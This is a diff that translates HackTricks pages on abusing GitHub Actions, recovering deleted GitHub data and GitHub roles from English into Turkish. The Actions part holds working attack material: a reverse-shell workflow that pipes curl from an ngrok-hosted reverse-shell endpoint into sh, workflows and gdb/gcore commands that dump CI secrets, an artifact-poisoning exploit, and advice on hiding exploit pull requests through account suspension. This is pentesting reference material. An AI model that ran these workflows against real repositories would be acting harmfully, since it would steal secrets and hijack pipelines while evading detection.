-If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
+Eğer bir saldırgan bu **env** değişkeninin içine **herhangi bir değeri enjekte edebilirse**, sonraki adımlarda **LD_PRELOAD** veya **NODE_OPTIONS** gibi kod çalıştırabilecek env değişkenlerini enjekte edebilir.
-For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
+Örneğin ([**bu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) ve [**bu**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), **`GITHUB_ENV`** env değişkeninin içeriğini depolamak için yüklenen bir artifact'a güvenen bir iş akışını hayal edin. Bir saldırgan bunu tehlikeye atmak için şöyle bir şey yükleyebilir:
-### Vulnerable Third Party Github Actions
+### Savunmasız Üçüncü Taraf Github Eylemleri
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
-As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
+[**bu blog yazısında**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) belirtildiği gibi, bu Github Eylemi farklı iş akışlarından ve hatta depolardan artifact'lara erişim sağlar.
-The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
-
-Example of vulnerable workflow:
+Sorun şu ki, eğer **`path`** parametresi ayarlanmamışsa, artifact mevcut dizine çıkarılır ve daha sonra iş akışında kullanılabilecek veya çalıştırılabilecek dosyaları geçersiz kılabilir. Bu nedenle, eğer Artifact savunmasızsa, bir saldırgan bunu diğer iş akışlarını tehlikeye atmak için kötüye kullanabilir.
+Savunmasız bir iş akışı örneği:
```yaml
on:
- workflow_run:
- workflows: ["some workflow"]
- types:
- - completed
+workflow_run:
+workflows: ["some workflow"]
+types:
+- completed
jobs:
- success:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@v2
- - name: download artifact
- uses: dawidd6/action-download-artifact
- with:
- workflow: ${{ github.event.workflow_run.workflow_id }}
- name: artifact
- - run: python ./script.py
- with:
- name: artifact
- path: ./script.py
+success:
+runs-on: ubuntu-latest
+steps:
+- uses: actions/checkout@v2
+- name: download artifact
+uses: dawidd6/action-download-artifact
+with:
+workflow: ${{ github.event.workflow_run.workflow_id }}
+name: artifact
+- run: python ./script.py
+with:
+name: artifact
+path: ./script.py
```
-
-This could be attacked with this workflow:
-
+Bu iş akışı ile saldırıya uğrayabilir:
```yaml
name: "some workflow"
on: pull_request
jobs:
- upload:
- runs-on: ubuntu-latest
- steps:
- - run: echo "print('exploited')" > ./script.py
- - uses actions/upload-artifact@v2
- with:
- name: artifact
- path: ./script.py
+upload:
+runs-on: ubuntu-latest
+steps:
+- run: echo "print('exploited')" > ./script.py
+- uses actions/upload-artifact@v2
+with:
+name: artifact
+path: ./script.py
```
+---
+
+## Diğer Harici Erişim
+
+### Silinmiş Namespace Repo Ele Geçirme
+
+Eğer bir hesap adını değiştirirse, başka bir kullanıcı bir süre sonra o isimle bir hesap kaydedebilir. Eğer bir depo **isim değişikliğinden önce 100 yıldızdan azsa**, Github, aynı isimle yeni kayıtlı kullanıcının **silinmiş olanla aynı isimde bir depo oluşturmasına** izin verecektir.
+
+> [!DİKKAT]
+> Yani eğer bir işlem, var olmayan bir hesaptan bir depoyu kullanıyorsa, bir saldırganın o hesabı oluşturup işlemi tehlikeye atması hala mümkün olabilir.
+
+Eğer diğer depolar **bu kullanıcı depolarından bağımlılıklar kullanıyorsa**, bir saldırgan bunları ele geçirebilir. İşte daha kapsamlı bir açıklama: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
-## Other External Access
+## Repo Pivotlama
-### Deleted Namespace Repo Hijacking
+> [!NOT]
+> Bu bölümde, ilk depoda bir tür erişimimiz olduğunu varsayarak **bir depodan diğerine geçiş yapmamızı** sağlayacak tekniklerden bahsedeceğiz (önceki bölümü kontrol edin).
-If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
+### Önbellek Zehirleme
-> [!CAUTION]
-> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
-
-If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
-
----
-
-## Repo Pivoting
-
-> [!NOTE]
-> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
-
-### Cache Poisoning
-
-A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
+Bir önbellek, **aynı dalda workflow çalışmaları arasında** korunur. Bu, bir saldırganın **bir paketi tehlikeye atması** durumunda, bu paketin önbellekte saklanacağı ve **daha ayrıcalıklı** bir workflow tarafından **indirilip** çalıştırılacağı anlamına gelir; böylece o workflow'u da **tehlikeye atabilir**.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
-### Artifact Poisoning
+### Artifact Zehirleme
-Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
+Workflow'lar, **diğer workflow'lardan ve hatta depolardan** **artifact'lar** kullanabilir; eğer bir saldırgan, başka bir workflow tarafından daha sonra kullanılan bir **artifact'ı yükleyen** Github Action'ı **tehlikeye atmayı** başarırsa, o zaman **diğer workflow'ları da tehlikeye atabilir**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
---
-## Post Exploitation from an Action
+## Bir İşlemden Sonra Sömürü
-### Accessing AWS and GCP via OIDC
+### OIDC Üzerinden AWS ve GCP'ye Erişim
-Check the following pages:
+Aşağıdaki sayfaları kontrol edin:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -408,170 +390,160 @@ Check the following pages:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
-### Accessing secrets
+### Gizli Bilgilere Erişim
-If you are injecting content into a script it's interesting to know how you can access secrets:
+Eğer bir script'e içerik enjekte ediyorsanız, gizli bilgilere nasıl erişebileceğinizi bilmek ilginçtir:
-- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
+- Eğer gizli bilgi veya token bir **çevre değişkenine** ayarlandıysa, **`printenv`** kullanarak çevre üzerinden doğrudan erişilebilir.
-List secrets in Github Action output
-
+Github Action çıktısında gizli bilgileri listele
```yaml
name: list_env
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - '**'
- push: # Run it when a push is made to a branch
- branches:
- - '**'
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- '**'
+push: # Run it when a push is made to a branch
+branches:
+- '**'
jobs:
- List_env:
- runs-on: ubuntu-latest
- steps:
- - name: List Env
- # Need to base64 encode or github will change the secret value for "***"
- run: sh -c 'env | grep "secret_" | base64 -w0'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+List_env:
+runs-on: ubuntu-latest
+steps:
+- name: List Env
+# Need to base64 encode or github will change the secret value for "***"
+run: sh -c 'env | grep "secret_" | base64 -w0'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-Get reverse shell with secrets
-
+Gizli anahtarlarla ters kabuk al
```yaml
name: revshell
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- create_pull_request:
- runs-on: ubuntu-latest
- steps:
- - name: Get Rev Shell
- run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+create_pull_request:
+runs-on: ubuntu-latest
+steps:
+- name: Get Rev Shell
+run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- - ```bash
- cat /home/runner/work/_temp/*
- ```
-- For a JavaScript actions the secrets and sent through environment variables
- - ```bash
- ps axe | grep node
- ```
-- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
+- Eğer gizli bilgi **bir ifadede doğrudan kullanılıyorsa**, oluşturulan shell scripti **diskte** saklanır ve erişilebilir.
+- ```bash
+cat /home/runner/work/_temp/*
+```
+- JavaScript eylemleri için gizli bilgiler ortam değişkenleri aracılığıyla gönderilir.
+- ```bash
+ps axe | grep node
+```
+- **Özel bir eylem** için, risk, programın **argümandan** elde ettiği gizli bilgiyi nasıl kullandığına bağlı olarak değişebilir:
- ```yaml
- uses: fakeaction/publish@v3
- with:
- key: ${{ secrets.PUBLISH_KEY }}
- ```
+```yaml
+uses: fakeaction/publish@v3
+with:
+key: ${{ secrets.PUBLISH_KEY }}
+```
-### Abusing Self-hosted runners
+### Kendinden Barındırılan Çalıştırıcıları Kötüye Kullanma
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
+**Github Actions'ın hangi non-github altyapısında çalıştırıldığını** bulmanın yolu, Github Action yapılandırma yaml'ında **`runs-on: self-hosted`** aramaktır.
-**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
-
-In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
+**Kendinden barındırılan** çalıştırıcılar, **ekstra hassas bilgilere**, diğer **ağ sistemlerine** (ağda savunmasız uç noktalar mı? meta veri servisi?) erişim sağlayabilir veya, izole edilse ve yok edilse bile, **birden fazla eylem aynı anda çalıştırılabilir** ve kötü niyetli olanı diğerinin **gizli bilgilerini çalabilir**.
+Kendinden barındırılan çalıştırıcılarda, herhangi bir adımda iş akışlarının tüm gizli bilgilerini içerecek olan **\_Runner.Listener**\_\*\* sürecinden gizli bilgileri elde etmek de mümkündür; belleğini dökerek:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
+Check [**bu gönderiye daha fazla bilgi için**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
-Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+### Github Docker Görüntüleri Kaydı
-### Github Docker Images Registry
-
-It's possible to make Github actions that will **build and store a Docker image inside Github**.\
-An example can be find in the following expandable:
+Github içinde **bir Docker görüntüsü oluşturup depolayacak Github eylemleri** yapmak mümkündür.\
+Aşağıdaki genişletilebilir örnekte bir örnek bulabilirsiniz:
-Github Action Build & Push Docker Image
-
+Github Eylemi Oluştur & Docker Görüntüsünü Yükle
```yaml
[...]
- name: Set up Docker Buildx
- uses: docker/setup-buildx-action@v1
+uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
- uses: docker/login-action@v1
- with:
- registry: ghcr.io
- username: ${{ github.repository_owner }}
- password: ${{ secrets.ACTIONS_TOKEN }}
+uses: docker/login-action@v1
+with:
+registry: ghcr.io
+username: ${{ github.repository_owner }}
+password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
- run: |
- sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
+run: |
+sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
- uses: docker/build-push-action@v2
- with:
- context: .
- push: true
- tags: |
- ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
- ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
+uses: docker/build-push-action@v2
+with:
+context: .
+push: true
+tags: |
+ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
+ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
-
-As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
-
-A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
+Önceki kodda görebileceğiniz gibi, Github kayıt defteri **`ghcr.io`** üzerinde barındırılmaktadır.
+Repo üzerinde okuma izinlerine sahip bir kullanıcı, kişisel erişim belirteci kullanarak Docker Görüntüsünü indirebilecektir:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
-
-Then, the user could search for **leaked secrets in the Docker image layers:**
+Sonra, kullanıcı **Docker imaj katmanlarında sızdırılmış gizli bilgileri** arayabilir:
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
{{#endref}}
-### Sensitive info in Github Actions logs
+### Github Actions günlüklerinde hassas bilgiler
-Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+**Github** gizli değerleri **tespit etmeye** ve **göstermemeye** çalışsa da, eylemin yürütülmesi sırasında üretilmiş **diğer hassas veriler** gizli kalmayacaktır. Örneğin, bir gizli değerle imzalanmış bir JWT, [özellikle yapılandırılmadıkça](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) gizli kalmayacaktır.
-## Covering your Tracks
+## İzlerinizi Kapatma
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
+([**buradan**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) teknik) Öncelikle, oluşturulan herhangi bir PR, Github'da ve hedef GitHub hesabında kamuya açık olarak görünür. GitHub'da varsayılan olarak, **internetin PR'sini silemeyiz**, ancak bir twist var. Github tarafından **askıya alınan** GitHub hesapları için, tüm **PR'leri otomatik olarak silinir** ve internetten kaldırılır. Bu nedenle, etkinliğinizi gizlemek için ya **GitHub hesabınızın askıya alınmasını sağlamalı ya da hesabınızın işaretlenmesini** sağlamalısınız. Bu, **tüm etkinliklerinizi** GitHub'dan internetten gizleyecektir (temelde tüm istismar PR'lerinizi kaldırır).
-An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
+GitHub'daki bir organizasyon, hesapları GitHub'a bildirmede çok proaktiftir. Tek yapmanız gereken, Issue'da "biraz şey" paylaşmak ve 12 saat içinde hesabınızın askıya alınmasını sağlamak :p ve işte, istismarınızı GitHub'da görünmez hale getirdiniz.
> [!WARNING]
-> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
+> Bir organizasyonun hedef alındığını anlamanın tek yolu, GitHub UI'dan PR'nın kaldırılacağı için SIEM'den GitHub günlüklerini kontrol etmektir.
-## Tools
+## Araçlar
-The following tools are useful to find Github Action workflows and even find vulnerable ones:
+Aşağıdaki araçlar, Github Action iş akışlarını bulmak ve hatta savunmasız olanları bulmak için faydalıdır:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
index ae156de2d..59da712ac 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
@@ -1,6 +1 @@
# Gh Actions - Artifact Poisoning
-
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
index 024aa5ff8..f77c0d2d3 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
@@ -1,6 +1 @@
# GH Actions - Cache Poisoning
-
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 3cd632bd0..9cef507bc 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1,6 +1 @@
# Gh Actions - Context Script Injections
-
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index f19fa699e..eaba9970d 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -1,60 +1,56 @@
-# Accessible Deleted Data in Github
+# Github'da Erişilebilir Silinmiş Veriler
{{#include ../../banners/hacktricks-training.md}}
-This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
+Github'dan silinmiş olduğu iddia edilen verilere erişim yolları [**bu blog yazısında**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) bildirilmiştir.
-## Accessing Deleted Fork Data
+## Silinmiş Fork Verilerine Erişim
-1. You fork a public repository
-2. You commit code to your fork
-3. You delete your fork
+1. Kamuya açık bir depoyu fork'layın.
+2. Fork'unuza kod ekleyin.
+3. Fork'unuzu silin.
> [!CAUTION]
-> The data commited in the deleted fork is still accessible.
+> Silinmiş fork'ta yapılan veriler hala erişilebilir.
-## Accessing Deleted Repo Data
+## Silinmiş Repo Verilerine Erişim
-1. You have a public repo on GitHub.
-2. A user forks your repo.
-3. You commit data after they fork it (and they never sync their fork with your updates).
-4. You delete the entire repo.
+1. GitHub'da bir kamuya açık repo oluşturun.
+2. Bir kullanıcı repo'nuzu fork'lar.
+3. Onlar fork'ladıktan sonra veri ekleyin (ve asla fork'larını güncellemelerinizle senkronize etmezler).
+4. Tüm repoyu silin.
> [!CAUTION]
-> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
+> Repo'nuzu silseniz bile, ona yapılan tüm değişiklikler fork'lar aracılığıyla hala erişilebilir.
-## Accessing Private Repo Data
+## Özel Repo Verilerine Erişim
-1. You create a private repo that will eventually be made public.
-2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
-3. You make your “upstream” repository public and keep your fork private.
+1. Nihayetinde kamuya açık hale getirilecek bir özel repo oluşturun.
+2. O repo'nun özel, iç versiyonunu (fork'lama yoluyla) oluşturun ve kamuya açık yapmayacağınız özellikler için ek kod ekleyin.
+3. "Upstream" repo'nuzu kamuya açık yapın ve fork'unuzu özel tutun.
> [!CAUTION]
-> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
+> İç fork oluşturulduğu ve kamuya açık versiyon yapıldığı süre zarfında iç fork'a itilen tüm verilere erişmek mümkündür.
-## How to discover commits from deleted/hidden forks
+## Silinmiş/Gizli Fork'lardan Commit'leri Nasıl Bulunur
-The same blog post propose 2 options:
+Aynı blog yazısı 2 seçenek öneriyor:
-### Directly accessing the commit
+### Commit'e Doğrudan Erişim
-If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/`
+Commit ID (sha-1) değeri biliniyorsa, `https://github.com///commit/` adresinden erişmek mümkündür.
-### Brute-forcing short SHA-1 values
+### Kısa SHA-1 Değerlerini Brute-Force ile Bulma
-It's the same to access both of these:
+Her iki erişim yöntemi de aynıdır:
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
-And the latest one use a short sha-1 that is bruteforceable.
+Ve sonuncusu brute-force ile bulunabilir kısa bir sha-1 kullanır.
-## References
+## Referanslar
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index ae1365a0f..69b452972 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -1,194 +1,188 @@
-# Basic Github Information
+# Temel Github Bilgisi
{{#include ../../banners/hacktricks-training.md}}
-## Basic Structure
+## Temel Yapı
-The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
+Büyük bir **şirketin** temel github ortam yapısı, **birden fazla organizasyona sahip olan bir **şirket** sahibi olmaktır ve her biri **birkaç depo** ve **birkaç takım** içerebilir. Daha küçük şirketler sadece **bir organizasyona ve hiçbir şirkete sahip olabilirler**.
-From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
+Bir kullanıcı açısından, bir **kullanıcı** **farklı şirketler ve organizasyonlar** üyesi olabilir. Bu organizasyonlar içinde kullanıcı, **farklı şirket, organizasyon ve depo rollerine** sahip olabilir.
-Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
+Ayrıca, bir kullanıcı **farklı takımlarda** farklı şirket, organizasyon veya depo rollerine sahip olabilir.
-And finally **repositories may have special protection mechanisms**.
+Ve nihayetinde, **depolar özel koruma mekanizmalarına sahip olabilir**.
-## Privileges
+## Ayrıcalıklar
-### Enterprise Roles
+### Şirket Rolleri
-- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
-- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
+- **Şirket sahibi**: Bu role sahip kişiler, **yönetici yönetimi, şirket içindeki organizasyonları yönetme, şirket ayarlarını yönetme, organizasyonlar arasında politika uygulama** gibi işlemleri gerçekleştirebilir. Ancak, **organizasyon ayarlarına veya içeriğine erişemezler**; organizasyon sahibi yapılmadıkları veya bir organizasyona ait bir depoya doğrudan erişim verilmediği sürece.
+- **Şirket üyeleri**: Şirketinizin sahip olduğu organizasyonların üyeleri de **otomatik olarak şirketin üyeleri**dir.
-### Organization Roles
+### Organizasyon Rolleri
-In an organisation users can have different roles:
+Bir organizasyonda kullanıcıların farklı rolleri olabilir:
-- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
-- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
-- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
-- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
- - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
-- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
-- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
+- **Organizasyon sahipleri**: Organizasyon sahipleri, **organizasyonunuza tam yönetim erişimine** sahiptir. Bu rol sınırlı olmalı, ancak organizasyonunuzda en az iki kişi olmalıdır.
+- **Organizasyon üyeleri**: **Varsayılan**, yönetici olmayan rol **organizasyon** içindeki kişiler için organizasyon üyesidir. Varsayılan olarak, organizasyon üyeleri **bir dizi izne** sahiptir.
+- **Faturalama yöneticileri**: Faturalama yöneticileri, **organizasyonunuzun faturalama ayarlarını yönetebilen** kullanıcılardır; örneğin, ödeme bilgileri.
+- **Güvenlik Yöneticileri**: Organizasyon sahiplerinin herhangi bir takıma atayabileceği bir roldür. Uygulandığında, takımın her üyesine **organizasyon genelinde güvenlik uyarılarını ve ayarlarını yönetme izinleri ile organizasyondaki tüm depolar için okuma izinleri** verir.
+- Eğer organizasyonunuzun bir güvenlik takımı varsa, güvenlik yöneticisi rolünü kullanarak takım üyelerine organizasyona ihtiyaç duydukları en az erişimi verebilirsiniz.
+- **Github Uygulama yöneticileri**: Bir organizasyona ait GitHub Uygulamalarını **yönetmek için ek kullanıcılara izin vermek** amacıyla, bir sahibi onlara GitHub Uygulama yöneticisi izinleri verebilir.
+- **Dış işbirlikçileri**: Dış işbirlikçisi, **bir veya daha fazla organizasyon deposuna erişimi olan ancak organizasyonun açıkça bir üyesi olmayan** kişidir.
-You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+Bu rollerin izinlerini bu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
-### Members Privileges
+### Üye Ayrıcalıkları
-In _https://github.com/organizations/\/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
+_https://github.com/organizations/\/settings/member_privileges_ adresinde, **organizasyonun bir parçası olmanın getirdiği izinleri** görebilirsiniz.
-The settings here configured will indicate the following permissions of members of the organisation:
+Burada yapılandırılan ayarlar, organizasyon üyelerinin aşağıdaki izinlerini gösterecektir:
-- Be admin, writer, reader or no permission over all the organisation repos.
-- If members can create private, internal or public repositories.
-- If forking of repositories is possible
-- If it's possible to invite outside collaborators
-- If public or private sites can be published
-- The permissions admins has over the repositories
-- If members can create new teams
+- Tüm organizasyon depoları üzerinde yönetici, yazar, okuyucu veya hiçbir izin olma durumu.
+- Üyelerin özel, dahili veya genel depolar oluşturup oluşturamayacakları.
+- Depoların çatallanmasının mümkün olup olmadığı.
+- Dış işbirlikçilerini davet etmenin mümkün olup olmadığı.
+- Genel veya özel sitelerin yayınlanıp yayınlanamayacağı.
+- Yöneticilerin depolar üzerindeki izinleri.
+- Üyelerin yeni takımlar oluşturup oluşturamayacakları.
-### Repository Roles
+### Depo Rolleri
-By default repository roles are created:
+Varsayılan olarak depo rolleri oluşturulur:
-- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
-- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
-- **Write**: Recommended for contributors who **actively push to your project**
-- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
-- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
+- **Okuma**: Projenizi görüntülemek veya tartışmak isteyen **kod katkıda bulunmayanlar** için önerilir.
+- **Triage**: Yazma erişimi olmadan **sorunları ve çekme isteklerini proaktif bir şekilde yönetmesi gereken katkıda bulunanlar** için önerilir.
